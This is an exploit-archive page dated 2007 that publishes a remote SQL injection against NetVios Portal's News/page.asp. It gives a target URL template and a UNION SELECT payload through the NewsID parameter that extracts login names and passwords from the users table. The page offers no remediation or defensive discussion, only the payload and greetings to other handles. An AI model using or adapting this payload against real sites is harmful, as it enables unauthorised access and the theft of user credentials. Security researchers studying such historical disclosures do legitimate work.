[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : NetVios Portal (page.asp) Remote SQL Injection Vulnerability
# Published : 2007-03-19
# Author : parad0x
# Previous Title : phpBB Minerva Mod <= 2.0.21 build 238a SQL Injection Vulnerability
# Next Title : pragmaMX Module Landkarten 2.1 Local File Inclusion Exploit (win)
*******************************************************************************
# Title : NetVios Portal (page.asp) Remote SQL Injection Vulnerability
# Author : parad0x
# Contact : :(
# D.Page : http://www.scriptaty.net/netvios-portal.html
# $$ : Free
#S.Page : http://www.netvios.com
*******************************************************************************
http://[target]/[path]/News/page.asp?NewsID=[SQL]
Example:
//News/page.asp?NewsID=-1 union select 0,1,2,loginname,password,5,6,7 from users where userId=1
"""""""""""""""""""""
greetz : VoLqaN, x-MastER
"""""""""""""""""""""
# www.Syue.com [2007-03-19]